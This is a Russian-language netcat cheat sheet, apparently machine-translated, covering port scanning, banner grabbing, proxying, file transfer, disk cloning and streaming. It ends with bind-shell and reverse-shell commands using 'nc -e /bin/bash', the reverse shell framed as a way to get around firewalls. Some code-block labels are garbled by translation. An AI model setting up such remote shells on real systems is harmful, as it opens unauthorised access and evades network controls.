Netcat


Начало работы

Использование

Подключение к хосту, расположенному в любом месте

Шелл-скрипт $ nc [options] [host] [port]


Прослушивание входящих соединений
```Шелл-скрипт
$ nc -lp port [host] [port]

Примеры опций

Опция Описание Пример
-h nc -h Help
-z nc -z 192.168.1.9 1-100 Сканирование порта для хоста или IP-адреса
-v nc -zv 192.168.1.9 1-100 Предоставить подробный вывод
-n nc -zn 192.168.1.9 1-100 Быстрое сканирование путем отключения разрешения DNS
-l nc -lp 8000 Режим прослушивания TCP (для входящих соединений)
-w nc -w 180 192.168.1.9 8000 Определить значение тайм-аута
-k nc -kl 8000 Продолжать прослушивание после разъединения
-u nc -u 192.168.1.9 8000 Использовать UDP вместо TCP
-q nc -q 1 192.168.1.9 8000 Клиент продолжает работать после EOF
-4 nc -4 -l 8000 Только IPv4
-6 nc -6 -l 8000 Только IPv6

Чат клиент-сервер

Сервер (192.168.1.9) Шелл-скрипт $ nc -lv 8000


Клиент
```Шелл-скрипт
$ nc 192.168.1.9 8000

Примеры Netcat

Захват баннера

Шелл-скрипт $ nc website.com 80 GET index.html HTTP/1.1 HEAD / HTTP/1.1

или
``хилый скрипт
echo "" | nc -zv -wl 192.168.1.1 801-805

Сканирование портов

Сканирование портов с 21 по 25

$ nc -zvn 192.168.1.1 21-25

Сканирование портов 22, 3306 и 8080

$ nc -zvn 192.168.1.1 22 3306 8080

Прокси и проброс портов

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

или

$ nc -l 8001 | nc 127.0.0.1 8000

Создание туннеля от одного локального порта к другому

Скачать файл

Сервер (192.168.1.9) ``Сценарий командной строки $ nc -lv 8000 < file.txt


Клиент
сценарий
$ nc -nv 192.168.1.9 8000 > file.txt

Предположим, что необходимо передать файл “file.txt” с сервера A на клиент B.

Загрузка файла

Сервер (192.168.1.9) ``Сценарий командной строки $ nc -lv 8000 > file.txt


Клиент
``Основной сценарий
$ nc 192.168.1.9 8000 < file.txt

Предположим, что необходимо передать файл “file.txt” с клиента B на сервер A:

Передача каталога

Сервер (192.168.1.9) ``Основной сценарий $ tar -cvf - имя_директории | nc -l 8000


Клиент
``Шелл-скрипт
$ nc -n 192.168.1.9 8000 | tar -xvf -.

Предположим, что необходимо передать по сети каталог из точки A в точку B.

Зашифровать передачу

Сервер (192.168.1.9) ``Шелевой сценарий $ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt


Клиент
```Шелл-скрипт
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

Шифрование данных перед передачей по сети

Клоны

Сервер (192.168.1.9) ``Сценарий командной строки $ dd if=/dev/sda | nc -l 8000


Клиент
``Шелл-скрипт
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Клонирование ПК с ОС linux очень просто. Предположим, что ваш системный диск - /dev/sda

Видеопоток

Сервер (192.168.1.9) командный сценарий $ cat video.avi | nc -l 8000


Клиент
```Шелл-скрипт {.wrap}
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -.

Потоковое видео с помощью netcat

Удаленная оболочка

Сервер (192.168.1.9) ``Сценарий оболочки $ nc -lv 8000 -e /bin/bash


Клиент
``Шелл-скрипт
$ nc 192.168.1.9 8000

Мы использовали удаленную оболочку с помощью telnet и ssh, но что делать, если они не установлены и у нас нет прав на их установку, тогда мы можем создать удаленную оболочку и с помощью netcat.

Обратная оболочка

Сервер (192.168.1.9) ``Сценарий оболочки $ nc -lv 8000


Клиент
```Шелл-скрипт
$ nc 192.168.1.9 8000 -v -e /bin/bash

Обратные оболочки часто используются для обхода ограничений брандмауэра, например, блокировки входящих соединений